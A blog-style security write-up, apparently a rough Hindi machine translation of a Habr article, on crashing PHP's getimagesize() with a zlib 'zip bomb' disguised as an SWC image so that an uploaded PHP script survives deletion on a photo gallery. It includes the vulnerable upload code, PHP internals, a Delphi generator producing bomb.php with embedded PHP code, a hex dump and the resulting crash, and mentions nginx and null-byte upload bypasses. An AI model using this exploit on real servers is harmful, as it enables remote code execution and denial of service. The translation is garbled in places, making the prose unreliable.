PHP के लिए खतरनाक getimagesize () या Zip Bomb

प्रत्यावर्तन

शरद फिर से पीटर के पास आया, और काम करने के मूड, जो पूरे एक सप्ताह तक सौर विकिरण के लगातार हमले के अधीन था, ने फैसला किया कि यह उसके लिए पर्याप्त था, और खिड़की से दूर उड़ गया जो अभी तक बंद नहीं हुआ था।

"महान," मैंने सोचा, "वापस आने से पहले कुछ इंजन चुनने का समय है!"

जल्दी से नहीं कहा। कट के तहत, मैं PHP में आम फोटो गैलरी इंजन में भेद्यता का एक छोटा सा अवलोकन प्रदान करता हूं और आप दाढ़ी ज़िप बम (या पालतू बम) का उपयोग करके getimagesize() का उपयोग करके किसी भी साइट को कैसे डाल सकते हैं।

जैसा कि आप जानते हैं, किसी भी हैकिंग का लक्ष्य क्लाइंट पक्ष (हमारा मतलब XSS) या सर्वर साइड (हम RCE, रिमोट कोड निष्पादन) से कुछ चुराने की कोशिश करना है। उत्तरार्द्ध, ज़ाहिर है, सुखद संचार के साथ बहुत अधिक आशाजनक रूप से जुड़ा हुआ है - कोड को निष्पादित करने की क्षमता है ( shell.php उर्फ " ईबे स्टाइल "), आप पूरे उपयोगकर्ता आधार को बाहर खींच सकते हैं, और एक ही समय में एक्सएसएस के एक जोड़े को जोड़ सकते हैं।

RCE का सबसे सीधा तरीका सर्वर पर फाइलें अपलोड करने की क्षमता है। यह विभिन्न सॉस के साथ किया जा सकता है - सबसे अधिक बार जवानों के रूप में ... मुझे क्षमा करें, चित्र। वास्तव में, आज कोई भी स्वाभिमानी मंच या सोशल नेटवर्क हमें कम से कम अवतारों को अपलोड करने की अनुमति देता है।

लेकिन सर्वर पर कोड अपलोड करना ही पर्याप्त नहीं है - आपको इसे (सर्वर) इस कोड को निष्पादित करने की आवश्यकता है। यहाँ, लोकतंत्र के बिल्डरों को nginx में try_files सेट करने और %00 का उपयोग करके एक पंक्ति को ट्रिम करने के साथ समस्याओं से बचाव में आता है, और यहां तक ​​कि MIME जाँच और लोडिंग का एक तुच्छ बाईपास *.php सीधे (लेकिन यह एक बहुत ही मुश्किल मामला है, इंजन जो इस पाप करते हैं, सबसे अधिक संभावना अभी भी है। एक दर्जन अन्य छेद)।

और जब कोड लोड किया जाता है और एक अनावश्यक विस्तार होता है, तब भी इसे ढूंढने की आवश्यकता होती है। अक्सर इंजन डेटाबेस में एक रिकॉर्ड की आईडी के आधार पर, कभी-कभी क्रमिक रूप से फ़ाइल नाम उत्पन्न करते हैं। हालांकि, यह आमतौर पर स्क्रिप्ट को लोड करने की तुलना में कम समस्या है।

जैसा कि आप देख सकते हैं, एक हैकर के जीवन को जटिल करने के लिए पर्याप्त से अधिक अवसर हैं। हालांकि, कभी-कभी बहुत मज़ेदार स्कूल होते हैं, और इनमें से एक नीचे होता है।

जब आकार मायने रखता है


मैं जिस इंजन पर विचार कर रहा हूं, केवल एक फ़ंक्शन फ़ाइलों को डाउनलोड करने के लिए जिम्मेदार है और यह इस तरह से शुरू होता है:
 function process_upload($upload) { $ext = explode('.', $upload['name']); $ext = strtolower($ext[count($ext)-1]); $filename = md5_file($upload['tmp_name']); move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace('image/', '', $info['mime']); if ($ext != $tmp_ext) { rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') { unlink('temp/'.$filename.'.'.$ext); return false; } //  ,    . 

process_upload() फ़ंक्शन को $_FILES से एक प्रविष्टि मिलती है - अर्थात, इस प्रारूप की एक सरणी:
 $upload = array( 'name' => '_.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', ) 

जैसा कि आप देख सकते हैं, निम्नलिखित यहाँ होता है:

  1. अपनी सामग्री द्वारा गंतव्य फ़ाइल का नाम बनाना (उर्फ md5sum $tmp_name )
  2. इस नाम के मूल एक्सटेंशन को जोड़ना
  3. इस नाम से डाउनलोड की गई फ़ाइल को एक अस्थायी फ़ोल्डर में ले जाएं; फ़ोल्डर बाहर से दिखाई देता है example.com/temp
  4. फ़ाइल स्वरूप की जाँच करें - यदि एक्सटेंशन उस प्रारूप से मेल खाने वाले से भिन्न है, तो अस्थायी फ़ोल्डर में फ़ाइल का नाम बदलकर "वास्तविक" एक्सटेंशन दिया जाता है
  5. यदि फ़ाइल एक छवि नहीं है, तो इसे हटा दिया गया है।

अंक 3 और 4 के बीच क्या होता है, यह हमारे लिए बेहद दिलचस्प है। फ़ाइल प्रारूप पर जूँ की जाँच करने और इस फ़ाइल को हटाने के बीच कम से कम दो ऑपरेशन होते हैं: getimagesize() और rename() । उत्तरार्द्ध हमारे लिए बहुत कम रुचि है - यह वास्तव में तेजी से काम करता है, या काम नहीं करता है - लेकिन फिर PHP एक चेतावनी जारी करता है और फिर unlink() निष्पादित होता है, जो पटरियों को स्वीप करता है।

लेकिन getimagesize() वास्तव में हमें चिंतित करता है। जब हम अपनी स्क्रिप्ट को temp में चलाते हैं तो क्या उसे "प्रतीक्षा" करना संभव है?

सूत्रों का उपयोग करें, ल्यूक


फ़ाइल प्रारूप के लिए जाँच एक संभावित जटिल ऑपरेशन है। यह फ़ंक्शन PHP में दस वर्षों से मौजूद है, इसे GD लाइब्रेरी की आवश्यकता नहीं है और सभी दुभाषिया विधानसभाओं में शामिल है। यह 20 प्रारूपों का समर्थन करता है और इसके मॉड्यूल का कोड लगभग 1,500 लाइनें लेता है। स्वाभाविक रूप से, कुछ ऐसा होना चाहिए जिसका हम शोषण कर सकें।

जैसा कि प्रत्येक व्यवसाय एक सुविचारित योजना के साथ शुरू होता है, इसलिए प्रत्येक सफेद बॉक्स-पेन्टेस्ट स्रोत से शुरू होता है। जिस मॉड्यूल में हम रुचि रखते हैं, वह php-5.5.12\ext\standard\image.c । कोड का अध्ययन करने के कई मिनटों के बाद, मैं एक बहुत ही दिलचस्प फ़ंक्शन के साथ आया जो एसडब्ल्यूसी प्रारूप के साथ काम करता है - शॉकवेव फ्लैश कम्प्रेस्ड (मैं पहली बार इस बारे में सुनता हूं)। अर्थात्:
 //     stream   4- ,    'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL; long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL; b = ecalloc (1, len + 1); if (php_stream_seek(stream, 5, SEEK_CUR)) return NULL; if (php_stream_read(stream, a, sizeof(a)) != sizeof(a)) return NULL; if (uncompress(b, &len, a, sizeof(a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek(stream, 8, SEEK_SET)) return NULL; slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib::uncompress() wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn't big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<<factor++); buf = (char *) erealloc(buf,szlength); status = uncompress(buf, &szlength, bufz, slength); } while ((status==Z_BUF_ERROR)&&(factor<maxfactor)); 

यह कोड दिलचस्प है कि यदि शीर्ष लेख के बाद पहले 64 बाइट्स को अनपैक करने का असफल प्रयास किया गया है (जो कि 0x08 से शुरू होता है), तो यह लूप में प्रवेश करेगा, पूरे इनपुट बफर को 9 बार तक अनपैक करने का प्रयास करेगा। यह एक संसाधन-गहन संचालन होना चाहिए और हमें अपनी लिपि में जाने के लिए हमें कुछ सौ मिलीसेकंड देना चाहिए। और बाढ़ भी है।

... संकुचित डेटा के विभिन्न दुरुपयोग के आधे घंटे के बाद, मैं कोई महत्वपूर्ण देरी हासिल नहीं कर सका। या तो मेरी प्रणाली बहुत तेज़ है, या यह वास्तव में ज़ालिब के लिए एक पंक्ति में सौ मेगाबाइट के एक जोड़े को 8 बार उतारना है - एक बड़ी समस्या नहीं। मैं अगली भेद्यता की तलाश में आगे बढ़ने के लिए तैयार था, जैसे ...

"रुको ... सौ मेगाबाइट के एक जोड़े?"

facepalm

640 पेटाबाइट्स सभी के लिए पर्याप्त है


कौन याद करता है - 2000 के दशक की शुरुआत में, कुछ मेल सर्वरों ने अनुचित सामग्री के साथ अभिलेखागार को फ़िल्टर करने का प्रयास किया था। हमले का सार सरल है: यदि एलजेड के समान एक संपीड़न एल्गोरिथ्म एक संपीड़ित स्ट्रीम से गुजरता है, इसमें पहले से देखे गए टुकड़े ढूंढ रहा है और उन्हें लिंक (कहना, डबल-बाइट) के साथ बदल रहा है, तो हम एक संग्रह बना सकते हैं जो प्रत्येक 4 बाइट्स के लिए है (ऑफसेट के लिए 2) और लंबाई के लिए 2) संकुचित डेटा 65536 विघटित बाइट्स का निर्माण करेगा। इस प्रकार, अनपैकिंग के बाद 4 किलोबाइट 64 मेगाबाइट हो जाएंगे। यह एक ही वर्ण के साथ संपूर्ण इनपुट फ़ाइल को हथौड़ा करने के लिए पर्याप्त है। यह सरलीकृत है।

व्यवहार में, वास्तविक एलजेड इतनी कुशलता से काम नहीं करेगा, लेकिन एक साधारण zip बिना किसी भी चाल के बिना zip हम 11 जीबी की शून्य के साथ मूल फ़ाइल से 10 एमबी फ़ाइल प्राप्त कर सकते हैं

PHP को 2 MB की अधिकतम फ़ाइल अपलोड और 128 MB पर स्क्रिप्ट के लिए उपलब्ध अधिकतम मेमोरी के लिए डिफ़ॉल्ट रूप से कॉन्फ़िगर किया गया है। यह गणना करना आसान है कि दो-मेगाबाइट संग्रह को अनपैकिंग के लिए कहीं एक गीगाबाइट मेमोरी की आवश्यकता होगी। अक्सर, 5-10 मेगाबाइट फ़ाइलों की अनुमति देने के लिए सर्वरों को कॉन्फ़िगर किया जाता है, खासकर जब फ़ाइल स्टोरेज की बात आती है ... या फोटो गैलरी।

हमारे जवानों के पास लौटकर। जैसा कि आप php_handle_swc() फ़ंक्शन कोड से देख सकते हैं, हमें बस निम्नलिखित फ़ॉर्म की एक फ़ाइल बनाने की आवश्यकता है:
 0000h: 43 57 53 00 00 00 00 00 78 DA CWS.....xÚ 

पहले 3 बाइट्स एसडब्ल्यूसी प्रारूप का जादू हस्ताक्षर है, अगले 5 बाइट्स हेडर हैं ( php_handle_swc() में उपयोग नहीं किए गए), और फिर एक संकुचित Zlib स्ट्रीम है। यहां यह 78 DA शुरू होता है, जो अधिकतम संपीड़न अनुपात से मेल खाता है।

यह हमारे लिए संपीड़ित स्ट्रीम में डेटा के कुछ टुकड़े को खराब करने के लिए पर्याप्त है और पीएचपी विघटन चक्र में जाएगा, हमारे "बम" को अनपैक करने की कोशिश करें, आवंटित मेमोरी स्क्रिप्ट पर समाप्त हो जाएगी - और ... दुभाषिया इसके निष्पादन को बाधित करेगा!

इसका अर्थ है कि try..catch (यदि कोई था) को कॉल नहीं किया जाएगा और वह अपवाद को संभालने में सक्षम नहीं होगा - उदाहरण के लिए, हमारी फ़ाइल को हटाना - और केवल अगर स्क्रिप्ट ने अपना register_shutdown_handler() हैंडलर सेट किया है, तो इसे कॉल किया जाएगा और यह अपवाद को ट्रैक करना संभव होगा। । लेकिन आमतौर पर वे ऐसा नहीं करते हैं, क्योंकि यह पूरी तरह से "तार्किक" तर्क नहीं है। हालांकि पुराने PHP की भावना में।

(पूर्णता के लिए, मुझे कहना होगा कि PHP में Zlib समर्थन अक्षम किया जा सकता है, और परिणामस्वरूप, getimagesize() SWC समर्थन भी। हालांकि, अधिकांश सर्वर Zlib का उपयोग करते हैं।)

मेरे पसंदीदा डेल्फी पर बम जनरेटर:
 program BombSWC; {$APPTYPE CONSOLE} uses ZLibEx, Classes; const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength(Input, 800 * 1024 * 1024); // 800 ??. FillChar(Input[1], Length(Input), 0); ZCompress(@Input[1], Length(Input), Buf, I, zcMax); Stream := TFileStream.Create('bomb.php', fmCreate); Stream.WriteBuffer(Header[1], Length(Header)); Stream.WriteBuffer(Buf^, I); Stream.Seek(-1000, soFromEnd); Input := '<?php phpinfo();?>'; Stream.WriteBuffer(Input[1], Length(Input)); Stream.Free; end. 

नतीजतन, 800 एमबी से हमें 796 केबी मिलता है और वे इस तरह दिखते हैं:
 0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS.....xÚìÁ.... 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .€ ...   ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 ....<?php phpinf C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00 o();?>.......... C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ...     ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 ......¿.î... 

उपरोक्त फ़ाइल सही PHP स्क्रिप्ट है, जो विश्वास नहीं करता है कि यह सुनिश्चित हो सकता है। हां, वह शुरुआत और अंत में कचरा हटा देगा, लेकिन यह उसे पूरा करने से नहीं रोकेगा।

यह केवल हमारे "चित्र" को सर्वर पर अपलोड करने के लिए रहता है ...

घातक त्रुटि: 536870912 बाइट्स की स्वीकृत मेमोरी का आकार (83491635 बाइट्स आवंटित करने का प्रयास)

pwned

- सामान्य सुरक्षा दोष -

Source: https://habr.com/ru/post/In224351/


All Articles